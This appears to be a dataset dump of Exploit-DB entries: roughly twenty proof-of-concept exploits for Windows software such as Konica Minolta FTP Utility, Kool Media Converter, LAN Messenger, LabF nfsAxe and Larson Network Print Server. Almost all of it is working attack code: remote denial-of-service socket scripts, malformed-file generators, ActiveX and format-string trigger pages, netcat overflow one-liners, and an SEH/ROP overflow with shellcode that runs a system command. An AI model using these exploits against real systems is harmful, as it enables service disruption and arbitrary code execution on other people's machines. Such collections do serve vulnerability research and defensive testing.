deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37908
Description: Konica Minolta FTP Utility 1.0 - Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2015-08-21
Author: Shankar Damodaran

Exploit:
#!/usr/bin/python
# Exploit Title: Konica Minolta FTP Utility 1.0 Remote DoS PoC
# Date: 21-08-2015
# Exploit Author: Shankar Damodaran
# Vendor Homepage: http://www.konicaminolta.com/
# Software Link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
# Version: 1.0
# Tested on: Microsoft Windows XP Professional SP3 English


import socket

# The ip address of the remote host
ftphost = '192.168.1.7'
# The port of the remote host
ftpport = 21

# Fuzzed packet of a certain length, Appending this to the USER command and requesting the remote ftp server denies requests for other legitimate users. 
crafted_user_name= "B" * 450012   # DoS

# Establishing connection
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ftphost,ftpport))
s.recv(1024)

# Sending the evil input.
s.send('USER' + crafted_user_name +'\r\n')

# Once the packet has been sent, the DoS will occur on the remote FTP server. By sending an interrupt through (Ctrl+C), will resume the FTP server from DoS. (Note : The FTP server will not get crashed)
s.send('QUIT \r\n')	
s.close()

# End of PoC - Shankar Damodaran
Exploit-DB #36300
Description: Kool Media Converter 2.6.0 - '.ogg' File Buffer Overflow
Type: dos
Platform: windows
Date: 2011-11-11
Author: swami

Exploit:
source: https://www.securityfocus.com/bid/50651/info

Kool Media Converter is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Kool Media Converter 2.6.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/env python
#
#
# Exploit Title: Kool Media Converter v2.6.0 DOS
# Date: 10/10/2011
# Author: swami
# E-Mail: flavio[dot]baldassi[at]gmail[dot]com
# Software Link: http://www.bestwebsharing.com/downloads/kool-media-converter-setup.exe
# Version: 2.6.0
# Tested on: Windows XP SP3 ENG
#
#--- From Vendor Website
# Kool Media Converter is a sound tool addressed to casual listeners and fervent 
# audiophiles likewise. It deals with compatibility problems between your audio files 
# and the media player you are using to help you enjoy all the songs you love anyway you like.
#
#--- Description
# Kool Media Converter fails to handle a malformed .ogg file

ogg = b'\x4F\x67\x67\x53'		# Capture Pattern OggS in ascii
ogg += b'\x00'				# Version currently 0
ogg += b'\x02'		     		# Header Type of page that follows
ogg += b'\x00' * 8			# Granule Position
ogg += b'\xCE\xc6\x41\x49'		# Bitstream Serial Number
ogg += b'\x00' * 4 			# Page Sequence Number
ogg += b'\x70\x79\xf3\x3d'	     	# Checksum
ogg += b'\x01'		     		# Page Segment max 255
ogg += b'\x1e\x01\x76\x6f'		# Segment Table

ogg += b'\x41' * 1000

try:
	f = open('koolPoC.ogg','wb')
	f.write(ogg)
	f.close()
except:
	print('\nError while creating ogg file\n')
Exploit-DB #18107
Description: Kool Media Converter 2.6.0 - Denial of Service
Type: dos
Platform: windows
Date: 2011-11-11
Author: swami

Exploit:
#!/usr/bin/env python
#
#
# Exploit Title: Kool Media Converter v2.6.0 DOS
# Date: 10/10/2011
# Author: swami
# E-Mail: flavio[dot]baldassi[at]gmail[dot]com
# Software Link: http://www.bestwebsharing.com/downloads/kool-media-converter-setup.exe
# Version: 2.6.0
# Tested on: Windows XP SP3 ENG
#
#--- From Vendor Website
# Kool Media Converter is a sound tool addressed to casual listeners and fervent 
# audiophiles likewise. It deals with compatibility problems between your audio files 
# and the media player you are using to help you enjoy all the songs you love anyway you like.
#
#--- Description
# Kool Media Converter fails to handle a malformed .ogg file

ogg = b'\x4F\x67\x67\x53'		# Capture Pattern OggS in ascii
ogg += b'\x00'				# Version currently 0
ogg += b'\x02'		     		# Header Type of page that follows
ogg += b'\x00' * 8			# Granule Position
ogg += b'\xCE\xc6\x41\x49'		# Bitstream Serial Number
ogg += b'\x00' * 4 			# Page Sequence Number
ogg += b'\x70\x79\xf3\x3d'	     	# Checksum
ogg += b'\x01'		     		# Page Segment max 255
ogg += b'\x1e\x01\x76\x6f'		# Segment Table

ogg += b'\x41' * 1000

try:
	f = open('koolPoC.ogg','wb')
	f.write(ogg)
	f.close()
except:
	print('\nError while creating ogg file\n')
Exploit-DB #6832
Description: KVIrc 3.4.0 - Virgo Remote Format String (PoC)
Type: dos
Platform: windows
Date: 2008-10-24
Author: LiquidWorm

Exploit:
<!--

 KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)

 Summary: KVIrc is a free portable IRC client based on the excellent Qt GUI toolkit.
 KVirc is being written by Szymon Stefanek and the KVIrc Development Team with
 the contribution of many IRC addicted developers around the world.

 Product web page: http://www.kvirc.net/

 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

 liquidworm [t00t] gmail [d0t] com

 http://www.zeroscience.org

 24.10.2008

-->


<html>

<title>KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)</Title>

<head>

<body>

<center> <br /> <br /> <strong>Warning ! :)</strong> </center>

<body bgcolor="#FFFF00">

<script type="text/javascript">

alert("KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)\n\n\t\tby LiquidWorm (c) 2008");

function poc()
{
	window.location.href = "irc://A:%n -i";
}

var answ = confirm("Press OK to start exploitation\nPress Cancel to skip exploitation");

if (answ == true) 
{
	poc();
}

	else
	{
		window.location.href = "http://www.kvirc.net";
	}

</script> </body> </head> </html>

# milw0rm.com [2008-10-24]
Exploit-DB #12000
Description: Kwik Pay Payroll 4.10.3 - '.mdb' Crash (PoC)
Type: dos
Platform: windows
Date: 2010-04-01
Author: anonymous

Exploit:
# Exploit Title: Kwik Pay Payroll .mdb Crash PoC
# Date: April 1, 2010
# Version: 4.10.3
# Tested on: Windows XP SP3
# Cost: 100.00 AU
# Author: [anonymous]
# Site: [http://www.setfreesecurity.com]
# 
# Usage: Run Script, Open the program
# File -> Import Payroll Data 
# Select From Data Source Drop-Down: Kwik-Pay Payroll Data 
# Browse and Import your .mdb File
#
# **********************************************
# ** It took 33 years to save my life         **
# ** thats 11 more years to make things right **
# **********************************************
# My hat goes off to the Exploit-DB Crew!
#!/usr/bin/perl
print "Broke as a Joke. . .\n";

my $data = "\x41" x 5000;
my $money = "payroll.mdb";

open (FILE, ">$money");
print FILE "$data";

print "\nShow me the money!\n";
Exploit-DB #12001
Description: Kwik Pay Payroll 4.10.3 - '.zip' Denial of Service
Type: dos
Platform: windows
Date: 2010-04-01
Author: anonymous

Exploit:
# Exploit Title: Kwik Pay Payroll .zip DoS
# Date: April 1, 2010
# Tested on: Windows XP SP3
# Cost: 100.00 AU
# Author: [anonymous]
# Site: [http://www.setfreesecurity.com]
#
# File -> Restore Database -> Find
# Locate zip file
# Click the restore button at the bottom
# Program Crash, and becomes unresponsive
#
# Happy April fools but no Joke here
# 
# Phil 4:13
#
#!/usr/bin/perl


print "Generating nasty Backup\n";

my $data = "\x41" x 5000;
my $zip = "kwikbak.zip";

open (FILE, ">$zip");
print FILE "$data";

print "Done. . .\n"
Exploit-DB #34442
Description: Kylinsoft InstantGet 2.08 - ActiveX Control 'ShowBar' Method Buffer Overflow
Type: dos
Platform: windows
Date: 2009-09-19
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/42418/info

Kylinsoft InstantGet ActiveX control is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the application, typically Internet Explorer, that uses the ActiveX control. Failed exploit attempts will result in denial-of-service conditions.

Kylinsoft InstantGet 2.08 is vulnerable; other versions may also be affected.

<object classid=&#039;clsid:98C92840-EB1C-40BD-B6A5-395EC9CD6510&#039; id=&#039;target&#039; />

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language=&#039;vbscript&#039;>

arg1=[PII_REDACTED]

target.ShowBar arg1 

</script>
</span></span>
</code></pre>
Exploit-DB #43930
Description: LabF nfsAxe 3.7 TFTP Client - Local Buffer Overflow
Type: dos
Platform: windows
Date: 2018-01-30
Author: Miguel Mendez Z

Exploit:
#!/usr/bin/python
########################################################################################################
# Exploit Author: Miguel Mendez Z
# Exploit Title: LabF nfsAxe v3.7 - TFTP "Input Directory" Local Buffer Overflow 
# Date: 29-01-2018
# Software: LabF nfsAxe
# Version: v3.7
# Vendor Homepage: http://www.labf.com
# Software Link: http://www.labf.com/download/nfsaxe.exe
# Tested on: Windows 7 x86
########################################################################################################

import struct

ropAlignEsp = (
"\x83\xEC\x58" #SUB ESP,58
"\x83\xEC\x58"  #SUB ESP,58
"\x83\xEC\x58"  #SUB ESP,58
"\x83\xEC\x58"  #SUB ESP,58
"\x83\xEC\x10"  #SUB ESP,10
"\xFF\xE4"      #JMP ESP
)

scode  = "\xB9\xEF\xEE\xEE\xEE"     #MOV ECX,EEEEEEEF
scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111
scode += "\x51"                     #PUSH ECX
scode += "\x68\x31\x30\x73\x21"     #PUSH 31307321
scode += "\x68\x73\x31\x6b\x72"     #PUSH 73316b72
scode += "\x68\x5f\x62\x79\x5f"     #PUSH 5f62795f
scode += "\x68\x70\x77\x6e\x64"     #PUSH 70776e64
scode += "\x68\x42\x30\x66\x5f"     #PUSH 4230665f
scode += "\x8B\xD4"                 #MOV EDX,ESP
scode += "\x48"                     #DEC EAX
scode += "\x50"                     #PUSH EAX
scode += "\x52"                     #PUSH EDX
scode += "\x52"                     #PUSH EDX
scode += "\x50"                     #PUSH EAX
scode += "\xBA\x11\xEA\x1A\x76"     #MOV EDX,USER32.MessageBoxA() (Change)
scode += "\xFF\xD2"                 #CALL EDX
#--------------
scode += "\x33\xD2"                 #XOR EDX,EDX
scode += "\xB9\xEF\xEE\xEE\xEE"     #MOV ECX,EEEEEEEF
scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111
scode += "\x51"                     #PUSH ECX
scode += "\x68\x63\x61\x6c\x63"     #PUSH 0x63616c63
scode += "\x8B\xD4"                 #MOV EDX,ESP
scode += "\x52"                     #PUSH EDX
scode += "\x33\xD2"                 #XOR EDX,EDX
scode += "\xBA\x6F\xB1\x0F\x76"     #MOV EDX,msvcrt.system - 0x760fb16f (Change)
scode += "\xFF\xD2"                 #CALL EDX
#--------------
scode += "\x50"                     #PUSH EAX
scode += "\xB8\xE2\xBB\xB5\x75"     #MOV EAX,kernel32.ExitProcess() (Change)
scode += "\xFF\xD0"                 #CALL EAX

offset  = "Host: "+scode+"A"*(1000-len(scode))+"\n"
offset += "File(s): "+"B"*33
offset += struct.pack("<L",0x75A6923D) #CALL ESP ADVAPI32.DLL 
offset += "B"*5
offset += ropAlignEsp
offset += "B"*(1037-37+(len(ropAlignEsp)-5))+"\n"
offset += "Remote Dir y Local Dir: "+"C"*1000

payload = offset
print "Payload len: "+str(len(payload))
print "Shellcode len: "+str(len(scode))

file=open('tftpPoc.txt','w')
file.write(payload)
file.close()
Exploit-DB #25363
Description: Lan Messenger - sending PM 'UNICODE' Overwrite Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2013-05-11
Author: ariarat

Exploit:
# Exploit Title: Lan Messenger Version 1.2 Buffer Overflow vulnerability - UNICODE(POC)
# Date: 09-05-2013
# Exploit Author: ariarat 
# Vendor Homepage: http://lmadhavan.com
# Software Link: http://lmadhavan.com/software/archive/lanmsg12.zip
# Version: 1.2 & may be old versions!
# Tested on: [ Windows 7 & windows XP sp2,sp3]
#============================================================================================
# After creating txt file,open created file and copy the AAA... string to clipboard and
# then paste in Public Chat's send PM section or in any window for sending PM to others. 
#
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

filename="string.txt"
buffer = "\x41" * 2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #18816
Description: LAN Messenger 1.2.28 - Denial of Service
Type: dos
Platform: windows
Date: 2012-05-01
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: LAN Messenger <= v1.2.28 Remote Denial of Service Vulnerability
# Version:       <= v1.2.28
# Date:          2012-04-28
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://lanmsngr.sourceforge.net/
# Tested on:     Windows XP SP3 Professional German, Windows 2008R2 SP1 German
# Notes:         Under WinXP the app needs 8190 Bytes to crash
# Howto:         -

from struct import pack
import socket,sys
import os

target="192.168.0.1"
port=50000

junk = "\x41" * 8190 

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[*] Connected to " + target + "!"
except:
    print "[!] " + target + " didn't respond\n"
    sys.exit(0)

print "[*] Sending malformed request..."
s.send("\x4d\x53\x47" + junk)

print "[!] Exploit has been sent!\n"
s.close()
Exploit-DB #46295
Description: LanHelper 1.74 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-31
Author: Rafael Pedrero

Exploit:
# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-31
# Vendor Homepage: http://www.hainsoft.com/
# Software Link : http://www.hainsoft.com/
# Tested Version: 1.74
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run LanHelper.exe
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script)
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script
# 4.- Paste the result from this python script in "Message text:", same form.
# 5.- Click in Send button and you will see a crash.

'''
EAX 00410041 LanHelpe.00410041
ECX 00410041 LanHelpe.00410041
EDX 00410041 LanHelpe.00410041
EBX 00410745 LanHelpe.00410745
ESP 013DFE70
EBP 013DFE94
ESI 00B6F268
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA"
EIP 00401D0A LanHelpe.00401D0A
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD9000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_IO_PENDING (000003E5)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

'''

#!/usr/bin/env python

crash = "\x41" * 6000
f = open ("LanHelper_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #45968
Description: LanSpy 2.0.1.159 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2018-12-11
Author: Gionathan Reale

Exploit:
# Exploit Title: LanSpy 2.0.1.159 - Local BoF (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-07
# Homepage: https://lizardsystems.com
# Software Link: https://lizardsystems.com/download/lanspy_setup.exe
# Tested Version: 2.0.1.159
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window paste the content of 
# "exploit.txt" into the scan field. Click the start button.

#!/usr/bin/python
   
buffer = "A" * 688

eip = "B" * 4

payload = buffer + eip
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #31138
Description: Larson Network Print Server 9.4.2 build 105 (LstNPS) - 'NPSpcSVR.exe' License Command Remote Overflow
Type: dos
Platform: windows
Date: 2008-02-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27732/info

Larson Software Technology Network Print Server is prone to a format-string vulnerability and a buffer-overflow vulnerability.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Network Print Server 9.4.2 build 105 and prior versions are affected. 

echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v
Exploit-DB #31139
Description: Larson Network Print Server 9.4.2 build 105 - 'LstNPS' Logging Function USEP Command Remote Format String
Type: dos
Platform: windows
Date: 2008-02-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27732/info
 
Larson Software Technology Network Print Server is prone to a format-string vulnerability and a buffer-overflow vulnerability.
 
An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.
 
Network Print Server 9.4.2 build 105 and prior versions are affected. 

echo USEP %n%n%n%s%s%s|nc SERVER 3114 -v -v
Exploit-DB #42002
Description: Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2017-05-14
Author: Muhann4d

Exploit:
#!/usr/bin/python
# Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date              : 14/05/2017
# Exploit Author    : Muhann4d
# CVE				: CVE-2017-8927
# Vendor Homepage   : http://www.cgmlarson.com/
# Software Link     : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5

# Vendor has been cantacted but no reply

buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
Exploit-DB #38405
Description: Last PassBroker 3.2.16 - Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2015-10-06
Author: Un_N0n

Exploit:
'''
********************************************************************************************
# Exploit Title: Last PassBroker Stack-based BOF
# Date: 9/23/2015
# Exploit Author: Un_N0n
# Software Link: https://lastpass.com/download
# Version: 3.2.16
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'LastPassBroker.exe'.
2- A Input-Box will appear asking for Email and Password,
   In password field paste in the contents of crash.txt
3- Hit Login.
~Software will Crash.

[Code to produce crash.txt]: 
'''
junk = "A"*66666
file = open("CRASH.txt",'w')
file.write(junk)
file.close()

'''
> Vendor Notified, Fixed in latest Release.
**********************************************************************************************
'''
Exploit-DB #15436
Description: LeadTools 11.5.0.9 - 'ltdlg11n.ocx' Bitmap Access Violation Denial of Service
Type: dos
Platform: windows
Date: 2010-11-05
Author: Matthew Bergin

Exploit:
<html>
Test Exploit Page
<object classid='clsid:00110060-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Rational\common\ltdlg11n.ocx"
prototype  = "Property Let Bitmap As Long"
memberName = "Bitmap"
progid     = "LEADDlgLib.LEADDlg"
argCount   = 1

arg1=-1

target.Bitmap = arg1

</script>


Exception Code: ACCESS_VIOLATION
Disasm: AA62D2	CMP DWORD PTR [EAX],6461656C

Seh Chain:
--------------------------------------------------
1 	73352960 	VBSCRIPT.dll
2 	7C839AD8 	KERNEL32.dll


Called From                   Returns To                    
--------------------------------------------------


Registers:
--------------------------------------------------
EIP 00AA62D2
EAX 00000000
EBX 7C80FF22 -> A868146A
ECX 02AB2128 -> 00000000
EDX 00150608 -> 7C97E5A0
EDI 02AB2128 -> 00000000
ESI 02AB1F58 -> 00AB07C0
EBP FFFFFFFF
ESP 0013ED98 -> 00AA6292


Block Disassembly: 
--------------------------------------------------
AA62BE	POP EBX
AA62BF	RETN 8
AA62C2	PUSH DWORD PTR [ESP+4]
AA62C6	CALL [AB00EC]
AA62CC	MOV ECX,[ESP+8]
AA62D0	MOV [ECX],EAX
AA62D2	CMP DWORD PTR [EAX],6461656C	  <--- CRASH
AA62D8	JE SHORT 00AA62DF
AA62DA	AND DWORD PTR [ECX],0
AA62DD	JMP SHORT 00AA62E2
AA62DF	MOV EAX,[EAX+8]
AA62E2	RETN 8
AA62E5	PUSH ESI
AA62E6	MOV ESI,[ESP+8]
AA62EA	LEA ECX,[ESI-60]


Stack Dump:
--------------------------------------------------
13ED98 92 62 AA 00 FF FF FF FF 28 21 AB 02 00 00 00 00  [.b..............]
13EDA8 AC 60 1A 00 CC ED 13 00 C0 07 AB 00 D9 5C 13 77  [.`...........\.w]
13EDB8 58 1F AB 02 FF FF FF FF 00 EE 13 00 B0 A0 B1 02  [X...............]
13EDC8 C0 ED 13 00 5C EE 13 00 E8 62 13 77 58 1F AB 02  [....\....b.wX...]
13EDD8 60 00 00 00 04 00 00 00 0A 00 00 00 01 00 00 00  [`...............]



ApiLog
--------------------------------------------------

***** Installing Hooks *****
7c821a94     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c821a94     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)